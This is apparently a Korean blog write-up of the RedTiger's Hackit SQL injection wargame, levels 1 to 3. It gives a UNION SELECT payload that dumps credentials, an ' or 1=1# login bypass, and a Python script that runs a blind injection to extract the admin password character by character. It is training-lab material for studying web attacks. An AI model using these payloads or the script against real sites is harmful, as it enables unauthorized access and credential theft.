http://redtiger.labs.overthewire.org
level1
숫자가 있는데 누르면 ?cat=1로 전달된다. 뒤에 %23으로 막아봐도 제대로 나오는걸 보면 여기다가 하면 되겠다. union select 1,2,3,4까지 입력했을때 3,4가 출력된다. 테이블 이블이 level1_users라고 하고, 입력창이 username,password로 써있으니 이걸로 컬럼 네임을 추측해서 대입해보면 된다.
http://redtiger.labs.overthewire.org/level1.php?cat=1%20union%20select%201,2,username,password%20from%20level1_users%23
level2
은근히 쉬울 듯 하면서 조금 해맸는데; 전달되는 인자가 없어 그냥 아이디,비밀번호창에 인젝션을 해봤다. id,pw 둘다 ' or 1=1#를 입력하니 통과되었는데.... 희한하게 아이디에만 ' or 1=1#를 입력하면 통과가 안되고, pw에 ' or 1=1#입력을 했을때는 id에 뭘 입력하던 통과된다. id에서만 안전한 함수로 escape를 해주는 것 같다.
level3
몇일 해맴........ 에러 발생시키는게 힌트라고 나와있는데 에러 발생은 ?usr=변수에 배열로 ?usr[]=
전달함으로서 에러를 발생시켰다. 그러면 http://redtiger.labs.overthewire.org/urlcrypt.inc 이 주소가 나오는데, 이 주소에는 그냥 encrypt함수와 decrypt함수밖에 없다. 테스트결과 Admin을 encrypt시키면 admin링크를 클릭하면 나오는 usr=MTI5MTY0MTczMTY5MTc0의 usr값이 Admin을 encrypt값이다. 여기서 뭐 어쩌란거지.... 하고 헤매다가 받은 usr값을 decrypt시켜서 쿼리를 실행시키는거라고 추측했다. 그래서 ' or username='TheCow'#처럼 TheCow의 결과값이 출력되게끔 쿼리를 짠 뒤 encrypt한 값인 MjMxMjI0MTc1MTc4MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTQ4MTY4MTY1MTMxMTc1MTgzMjMxMjI3 를 전송해보았더니 TheCow페이지가 출력되는걸 보아 생각한게 맞았음을 알수있었다. 블라인드 인젝션을 위해 코드를 짰다.
' or username=if((select ascii(mid(password,1,1))=32~127 from level3_users where username='Admin'),'Admin','TheCow')#
한바퀴만 시험삼아서 돌려보니 첫글자는 116(t)라고 나온다. 한바퀴가 잘 돌아가는걸 확인했으면 대충 비밀번호 길이를 50글자 이하라고 가정하고 돌린다. 정확하고 빠르게 하려면 인젝션을 통해 password길이를 구하고, lpad,bin등을 통한 최적화를 해야겠지만 귀찮아서 안함...
# -*- encoding: cp949 -*- """ function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } """ import base64,urllib2 def encrypt(raw): cryptedstr = '' for i in range(len(raw)): temp = str(ord(raw[i:i+1]) ^ 192) while(len(temp)<3): temp = '0'+temp cryptedstr += temp+'' return base64.b64encode(cryptedstr) answer = '' for j in range(1,50): for i in range(32,128): print i,answer usr = encrypt("' or username=if((select ascii(mid(password,"+str(j)+",1))="+str(i)+" from level3_users where username='Admin'),'Admin','TheCow')#") req = urllib2.Request('http://redtiger.labs.overthewire.org/level3.php?usr='+usr) req.add_header('cookie','level2login=easylevelsareeasy_%21; level3login=securitycat_says_meow_and_likes_cheese') page = urllib2.urlopen(req).read() if page.find('admin@site.de') != -1: answer += chr(i) break
'webhacking > sql, sql injection' 카테고리의 다른 글
RedTigers Hackit 6 (0) | 2015.01.09 |
---|---|
RedTigers Hackit 4~5 (0) | 2015.01.08 |
chall.tasteless.se Too Easy (0) | 2014.12.24 |
chall.tasteless.se Infiltration (0) | 2014.12.24 |
webhacking.kr 27, 29 (0) | 2014.11.30 |